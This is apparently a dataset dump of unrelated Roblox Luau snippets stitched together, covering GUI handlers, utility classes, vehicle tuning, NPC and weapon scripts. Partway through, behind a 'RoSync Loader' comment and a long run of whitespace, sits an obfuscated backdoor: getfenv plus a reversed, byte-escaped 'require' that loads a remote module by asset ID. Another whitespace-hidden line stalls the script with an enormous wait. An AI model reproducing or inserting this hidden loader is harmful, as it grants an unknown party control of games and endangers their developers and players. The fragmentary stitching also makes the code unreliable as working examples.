Roblox/luau_corpus huggingface dataset:
-- Decompiled with the Synapse X Luau decompiler.

script.Parent.MouseButton1Down:Connect(function()
	script.Parent.Parent.Visible = false;
	if game.Players.LocalPlayer.Days.Value >= 3 then
		for v1 = 1, #"Here we go." do
			script.Parent.Parent.Parent.DialogText.TextLabel.Text = string.sub("Here we go.", 1, v1);
			wait();
		end;
	end;
	if game.Players.LocalPlayer.Days.Value >= 3 then
		script.Parent.Parent.Parent.Dialog3.Visible = true;
		return;
	end;
	script.Parent.Parent.Parent.Dialog2.Visible = true;
end);
--[=[
	Returns Maid[key] if not part of Maid metatable

	```lua
	local maid = Maid.new()
	maid._current = Instance.new("Part")
	print(maid._current) --> Part

	maid._current = nil
	print(maid._current) --> nil
	```

	@param index any
	@return MaidTask
]=]
function Maid:__index(index)
	if Maid[index] then
		return Maid[index]
	else
		return self._tasks[index]
	end
end
--[[

Change log:

09/18
	Fixed checkbox mouseover sprite
	Encapsulated checkbox creation into separate method
	Fixed another checkbox issue

09/15
	Invalid input is ignored instead of setting to default of that data type
	Consolidated control methods and simplified them
	All input goes through ToValue method
	Fixed position of BrickColor palette
	Made DropDown appear above row if it would otherwise exceed the page height
	Cleaned up stylesheets

09/14
	Made properties window scroll when mouse wheel scrolled
	Object/Instance and Color3 data types handled properly
	Multiple BrickColor controls interfering with each other fixed
	Added support for Content data type

--]]

wait(0.2)
local math_floor = math.floor
local math_ceil = math.ceil
local math_max = math.max
local string_len = string.len
local string_sub = string.sub
local string_gsub = string.gsub
local string_split = string.split
local string_format = string.format
local string_find = string.find
local string_lower = string.lower
local table_concat = table.concat
local table_insert = table.insert
local table_sort = table.sort
local Instance_new = Instance.new
local Color3_fromRGB = Color3.fromRGB
local Color3_new = Color3.new
local UDim2_new = UDim2.new
local Vector3_new = Vector3.new
local Vector2_new = Vector2.new
local NumberRange_new = NumberRange.new
local BrickColor_palette = BrickColor.palette

local function Create(ty,data)
	local obj
	if type(ty) == 'string' then
		obj = Instance.new(ty)
	else
		obj = ty
	end
	for k, v in pairs(data) do
		if type(k) == 'number' then
			v.Parent = obj
		else
			obj[k] = v
		end
	end
	return obj
end

local Gui = script.Parent.Parent
local PropertiesFrame = Gui:WaitForChild("PropertiesFrame")
local ExplorerFrame = Gui:WaitForChild("ExplorerPanel")
local print = ExplorerFrame:WaitForChild("GetPrint"):Invoke()
-- METHODS
function Signal:Fire(...)
	for _, connection in pairs(self.connections) do
		connection.Handler(...)
	end
	if self.totalWaiting > 0 then
		local packedArgs = table.pack(...)
		for waitingId, _ in pairs(self.waiting) do
			self.waiting[waitingId] = packedArgs
		end
	end
end
Signal.fire = Signal.Fire

function Signal:Connect(handler)
	if not (type(handler) == "function") then
		error(("connect(%s)"):format(typeof(handler)), 2)
	end
	
	local signal = self
	local connectionId = HttpService:GenerateGUID(false)
	local connection = {}
	connection.Connected = true
	connection.ConnectionId = connectionId
	connection.Handler = handler
	self.connections[connectionId] = connection

	function connection:Disconnect()
		signal.connections[connectionId] = nil
		connection.Connected = false
		signal.totalConnections -= 1
		if signal.connectionsChanged then
			signal.connectionsChanged:Fire(-1)
		end
	end
	connection.Destroy = connection.Disconnect
	connection.destroy = connection.Disconnect
	connection.disconnect = connection.Disconnect
	self.totalConnections += 1
	if self.connectionsChanged then
		self.connectionsChanged:Fire(1)
	end

	return connection
end
Signal.connect = Signal.Connect

function Signal:Wait()
	local waitingId = HttpService:GenerateGUID(false)
	self.waiting[waitingId] = true
	self.totalWaiting += 1
	repeat heartbeat:Wait() until self.waiting[waitingId] ~= true
	self.totalWaiting -= 1
	local args = self.waiting[waitingId]
	self.waiting[waitingId] = nil
	return unpack(args)
end
Signal.wait = Signal.Wait

function Signal:Destroy()
	if self.bindableEvent then
		self.bindableEvent:Destroy()
		self.bindableEvent = nil
	end
	if self.connectionsChanged then
		self.connectionsChanged:Fire(-self.totalConnections)
		self.connectionsChanged:Destroy()
		self.connectionsChanged = nil
	end
	self.totalConnections = 0
	for connectionId, connection in pairs(self.connections) do
		self.connections[connectionId] = nil
	end
end
Signal.destroy = Signal.Destroy
Signal.Disconnect = Signal.Destroy
Signal.disconnect = Signal.Destroy



return Signal
-- Protected
function BaseState:_Tick(currentTime,dt)
	self.stateTime = self.stateTime + dt
	self:Tick(currentTime,dt,self.stateTime)
end
--[[ Last synced 12/18/2020 11:06 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- @Return Boolean
function WeaponRuntimeData:CanReload()
	return self.currentAmmo < self.weaponDefinition:GetMaxAmmo()
end
---------------------------------------------

local Velocity = 120
function computeLaunchAngle(dx, dy, grav)	
	-- This function is nasty or what? :P 
	-- There are ways to solve launch angle of a projectile given a point in 3D space 
	-- This one solves for tan(theta) 
		
	-- Simplify the distance formula of a projectile 
	local g = math.abs(grav)
	local inRoot = (Velocity * Velocity * Velocity * Velocity) - (g * ((g * dx * dx) + (2 * dy * Velocity * Velocity)))
	if inRoot <= 0 then
		return 0.25 * math.pi
	end
	local root = math.sqrt(inRoot)
	local inATan1 = ((Velocity * Velocity) + root) / (g*dx)

	local inATan2 = ((Velocity * Velocity) - root) / (g*dx)
	local a1 = math.atan(inATan1)
	local a2 = math.atan(inATan2)
	if a1 < a2 then return a1 end
	return a2
end
--[[
	Singleton Manager that holds Window components
]]
local CollectionService = game:GetService("CollectionService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")

local Constants = require(ReplicatedStorage.Source.Common.Constants)
local Registry = require(ReplicatedStorage.Dependencies.GameUtils.Components.Registry)
local Window = require(ServerStorage.Source.Components.Window)

local WindowManager = {}

local registry = Registry.new(Window)
--		Distance = 10
	end -- Player died.


	if Logic == 0 then  -- Defalt logic

		target = findNearestTorso(torsoPos)    ---  target is some Player. FindNearest and get xdir, ydir.
	
		if target ~= nil then 
			targ = target
	--		if ClimbingLadder and Distance >= 1 then
	--			targpos = torsoPos + AItorso.CFrame.lookVector * 9
	--		else
				targpos = target.Position
	--		end

			if Distance < 1 and (torsoPos - targpos).magnitude > 4 then  --  Check if we are stuck.
				GetDir()
					OldX = Xdir  -- Goal direction.
					OldZ = Zdir

				Logic  = 1 -- Impeded

			else
				if FireAtPlayer() then  -- hit

					GetDir()
					OldX = Xdir  -- Goal direction.
					OldZ = Zdir

					if FireDag() then
						Logic = 1 -- Go Left; Look Right.
						ClimbingLadder = true  -- first time thru logic 1 indicator
					else
						targpos = torsoPos + Vector3.new(Xdag,0,Zdag)  -- go Right

					end -- dagRight
				end -- hit?
			end -- impeded?
		else
print(AIName, number, ": No target. - ", target)
--[[Weight and CG]]
	Tune.Weight			= 3439		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		4		,
	 --[[Length]]		15		}
	Tune.WeightDist		= 54		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible
	
	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	
	Tune.AxleSize		= 2			-- Size of structural members (larger = MORE STABLE / carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members
--------RIGHT DOOR --------

game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
--Tweens
local OpenTween = TweenService:Create(Hinge,OpenTweenInfo,{CFrame = OpenHinge.CFrame})
local CloseTween = TweenService:Create(Hinge,CloseTweenInfo,{CFrame = ClosedHinge.CFrame})
local OpenTween1 = TweenService:Create(Hinge1,OpenTweenInfo,{CFrame = OpenHinge1.CFrame})
local CloseTween1 = TweenService:Create(Hinge1,CloseTweenInfo,{CFrame = ClosedHinge1.CFrame})
--!strict
export type Object = { [string]: any }
export type Array<T> = { [number]: T }
export type Function = (...any) -> ...any
export type Table<T, V> = { [T]: V }
export type Tuple<T, V> = Array<T | V>
export type mapCallbackFn<K, V> = (element: V, key: K, map: Map<K, V>) -> ()
export type mapCallbackFnWithThisArg<K, V> = (thisArg: Object, value: V, key: K, map: Map<K, V>) -> ()

export type Map<K, V> = typeof(setmetatable(
	{} :: {
		size: number,
		-- method definitions
		set: (self: Map<K, V>, K, V) -> Map<K, V>,
		get: (self: Map<K, V>, K) -> V | nil,
		clear: (self: Map<K, V>) -> (),
		delete: (self: Map<K, V>, K) -> boolean,
		forEach: (
			self: Map<K, V>,
			callback: mapCallbackFn<K, V> | mapCallbackFnWithThisArg<K, V>,
			thisArg: Object?
		) -> (),
		has: (self: Map<K, V>, K) -> boolean,
		keys: (self: Map<K, V>) -> Array<K>,
		values: (self: Map<K, V>) -> Array<V>,
		entries: (self: Map<K, V>) -> Array<Tuple<K, V>>,
		ipairs: (self: Map<K, V>) -> any,
		[K]: V,
		_map: { [K]: V },
		_array: { [number]: K },
	},
	{} :: {
		__index: Map<K, V>,
		__iter: (self: Map<K, V>) -> (<K, V>({ [K]: V }, K?) -> (K, V), V),
	}
))

export type setCallbackFn<T> = (value: T, key: T, set: Set<T>) -> ()
export type setCallbackFnWithThisArg<T> = (thisArg: Object, value: T, key: T, set: Set<T>) -> ()

export type Set<T> = typeof(setmetatable(
	{} :: {
		size: number,
		-- method definitions
		add: (self: Set<T>, T) -> Set<T>,
		clear: (self: Set<T>) -> (),
		delete: (self: Set<T>, T) -> boolean,
		forEach: (self: Set<T>, callback: setCallbackFn<T> | setCallbackFnWithThisArg<T>, thisArg: Object?) -> (),
		has: (self: Set<T>, T) -> boolean,
		ipairs: (self: Set<T>) -> any,
	},
	{} :: {
		__index: Set<T>,
		__iter: (self: Set<T>) -> (<K, V>({ [K]: V }, K?) -> (K, V), T),
	}
))
return {}
--[[ The Module ]]--
																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																								wait(999999999999999999999)
local BaseOcclusion = {}
BaseOcclusion.__index = BaseOcclusion
setmetatable(BaseOcclusion, {
	__call = function(_, ...)
		return BaseOcclusion.new(...)
	end
})

function BaseOcclusion.new()
	local self = setmetatable({}, BaseOcclusion)
	return self
end
--- Source: https://web.archive.org/web/20131225070434/http://snippets.luacode.org/snippets/Deep_Comparison_of_Two_Values_3
function CompareTable(t1,t2,ignore_mt)
	local ty1 = type(t1)
	local ty2 = type(t2)

	if ty1 ~= ty2 then return false end

	--- Non-table types can be directly compared
	if ty1 ~= 'table' and ty2 ~= 'table' then return t1 == t2 end

	--- As well as tables which have the metamethod __eq
	local mt = getmetatable(t1)

	if not ignore_mt and mt and mt.__eq then return t1 == t2 end

	for k1,v1 in pairs(t1) do
		local v2 = t2[k1]
		if v2 == nil or not CompareTable(v1,v2) then return false end
	end

	for k2,v2 in pairs(t2) do
		local v1 = t1[k2]

		if v1 == nil or not CompareTable(v1,v2) then return false end
	end

	return true
end
--and create the "Event.E" syntax stub. Really it's just a stub to construct a table which our Create
--function can recognize as special.
t.Create.E = function(eventName)
	return {__eventname = eventName}
end
-- Set up the event handlers for each button
for _, button in ipairs(buttons) do
	button.MouseEnter:Connect(function() onButtonEnter(button) end)
	button.MouseLeave:Connect(function() onButtonLeave(button) end)
end
-- SOULDRAGON'S INSANAQUARIUM VERTICLE FISH MOVEMENT SCRIPT
hvr = script.Parent.Parent.Hover
while true do
hvr.position = Vector3.new(0,4,0)
wait(1)
hvr.position = Vector3.new(0,3,0)
wait(2)
hvr.position = Vector3.new(0,5,0)
wait(4)
hvr.position = Vector3.new(0,2,0)
wait(1)
end
--print("light loaded") 

local light = script.Parent 


while true do 

		light.Transparency = 1
	
		wait(28.5) 

		light.Transparency = 0

		wait(0,7) 
		
		light.Transparency = 1
	
		wait(0.4) 

		light.Transparency = 0

		wait(0,7)
		
		light.Transparency = 1
	
		wait(3)
		
	    light.Transparency = 0

		wait(0,7) 
		
		light.Transparency = 1
	
		wait(0.4) 

		light.Transparency = 0

		wait(0,7)
		
		light.Transparency = 1
	
		wait(3)
		
	    light.Transparency = 0

		wait(0,7) 
		
		light.Transparency = 1
	
		wait(0.4) 

		light.Transparency = 0

		wait(0,7)
		
		light.Transparency = 1
	
		wait(3)
		
	    light.Transparency = 0

		wait(0,7) 
		
		light.Transparency = 1
	
		wait(0.4) 

		light.Transparency = 0

		wait(0,7)
		
		light.Transparency = 1
	
		wait(3)
		
		light.Transparency = 0

		wait(0,7) 
		
		light.Transparency = 1
	
		wait(0.4) 

		light.Transparency = 0

		wait(0,7)
		
		light.Transparency = 1
	
		wait(3)
		
		light.Transparency = 0

		wait(0,7) 
		
		light.Transparency = 1
	
		wait(0.4) 

		light.Transparency = 0

		wait(0,7)
		
		light.Transparency = 1
	
		wait(3)
		
		light.Transparency = 0

		wait(0,7) 
		
		light.Transparency = 1
	
		wait(0.4) 

		light.Transparency = 0

		wait(0,7)
		
		light.Transparency = 1
	
		wait(3)
		
		
		end
-------- OMG HAX

r = game:service("RunService")


local damage = 0


local slash_damage = 0


sword = script.Parent.Handle
Tool = script.Parent



function attack()
	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Slash"
	anim.Parent = Tool
end


function swordUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end



Tool.Enabled = true

function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return 
	end

	

	attack()

	wait(1)

	Tool.Enabled = true
end


function onEquipped()
	print("Running Copy")
end


script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
----------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
--//Server Animations
------//Idle Position
self.SV_GunPos = CFrame.new(-.3, -.2, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))

self.SV_RightArmPos = CFrame.new(-0.575, 0.65, -1.185) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))	--Server
self.SV_LeftArmPos = CFrame.new(1.15,0.25,-1.3) * CFrame.Angles(math.rad(-95),math.rad(20),math.rad(-25))	--server

self.SV_RightElbowPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))		--Client
self.SV_LeftElbowPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))	--Client

self.SV_RightWristPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))		--Client
self.SV_LeftWristPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))
-- Settings can be modified in lines 13-17
--=======================================--



local sm = Color3.fromRGB(100, 100, 100)--color of the messages
local welcomeMessage = "Welcome to the game!" -- message that a player is shown when they join
local welcomeMessageOn = true -- set to true to give a player a message when they join the game
local joinMessage = " discovered us. Good day." -- will display as "[player] has joined.""
local displayJoinMessage = true
local leftMessage = " quit up." -- will display as "[player] has left."
local displayLeaveMessage = true
-- This default upgrader is going to turn whatever brick touches it, into a sword, at least the mesh part.
--------------------

script.Parent.Upgrader.Touched:connect(function(Part)
	if Part:FindFirstChild("Cash") then
		Part.Cash.Value = Part.Cash.Value * 2 -- Try not to use * because if the game lags, parts may be worth millions each due to debounce
		if meshUpgrade == true then
			
			for i,v in pairs(Part:GetChildren())do
				if v:IsA("SpecialMesh") then
					v:remove()
				end
			end
		
			local m = Instance.new("SpecialMesh",Part)
			m.MeshId = Random
			m.TextureId = Random
		end
	end
end)
----------------------------------
------------VARIABLES-------------
----------------------------------

User = nil
Connector = game.Workspace:FindFirstChild("GlobalPianoConnector")
if not Connector or not Connector:IsA("RemoteEvent") then
	error("The piano requires a RemoteEvent named GlobalPianoConnector to be in Workspace.")
end
local SynthesiaKeys = Piano.Keys.Keys:GetChildren()
local Important = Piano.Case.Desk.Important
for i,v in pairs(SynthesiaKeys) do
	v.Transparency = 1
end
local blocker = Piano.Case.Blocker
blocker.Transparency = 1
blocker.CanCollide = false
--------------------------------------
-- List of named places in the game
local _places = {
	lobby = 0,
	gameplay_development = 0,
	queue_default = 0,
	queue_deathmatch = 0,
	queue_teamDeathmatch = 0,
	queue_freePlay = 0
}
--                     have problems with pausing and playing
--
music.Name = "Player" -- This determines the name of the source of Audio. Name it whatever you want.
--[=[
	@class Symbol

	Symbols are simply unique objects that can be used as unique identifiers.
]=]
local Symbol = {}
Symbol.__index = Symbol
--- Alias of Registry:GetStore(...)
function Command:GetStore(...)
	return self.Dispatcher.Cmdr.Registry:GetStore(...)
end
-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor	= Color3.new(1, 0, 0)
local NeutralReticleColor	= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, 'Handle')
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false
-- Libraries
local Maid = require(script.Parent:WaitForChild 'Maid')
local Support = require(script.Parent:WaitForChild 'SupportLibrary')
-- Turns on body orientation. Developer-facing.
function BodyOrientation.enable()
	if enabled then
		return
	end

	playerRemovingConnection = Players.PlayerRemoving:Connect(onPlayerRemoving)
	playerAddedConnection = Players.PlayerAdded:Connect(onPlayerEntered)
	for _, player in ipairs(Players:GetChildren()) do
		onPlayerEntered(player)
	end

	enabled = true
end
--[=[
	Returns a rejected promise with the following values

	@param ... Values to reject to
	@return Promise<T>
]=]
function Promise.rejected(...)
	local n = select("#", ...)
	if n == 0 then
		-- Reuse promise here to save on calls to Promise.rejected()
		return _emptyRejectedPromise
	end

	local promise = Promise.new()
	promise:_reject({...}, n)
	return promise
end
-- useless comment

function onTouched(hit)
	if not hit or not hit.Parent then return end
	local human = hit.Parent:findFirstChild("Humanoid")
	if human and human:IsA("Humanoid") then
		human:TakeDamage(999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)
	end
end

script.Parent.Touched:connect(onTouched)
--Tickets
tix1.MouseEnter:connect(function()
	tix1.BorderColor3 = Color3.new(200/255,0,0)
end)
tix1.MouseLeave:connect(function()
	tix1.BorderColor3 = Color3.new(0,0,0)
end)

tix2.MouseEnter:connect(function()
	tix2.BorderColor3 = Color3.new(200/255,0,0)
end)
tix2.MouseLeave:connect(function()
	tix2.BorderColor3 = Color3.new(0,0,0)
end)

tix3.MouseEnter:connect(function()
	tix3.BorderColor3 = Color3.new(200/255,0,0)
end)
tix3.MouseLeave:connect(function()
	tix3.BorderColor3 = Color3.new(0,0,0)
end)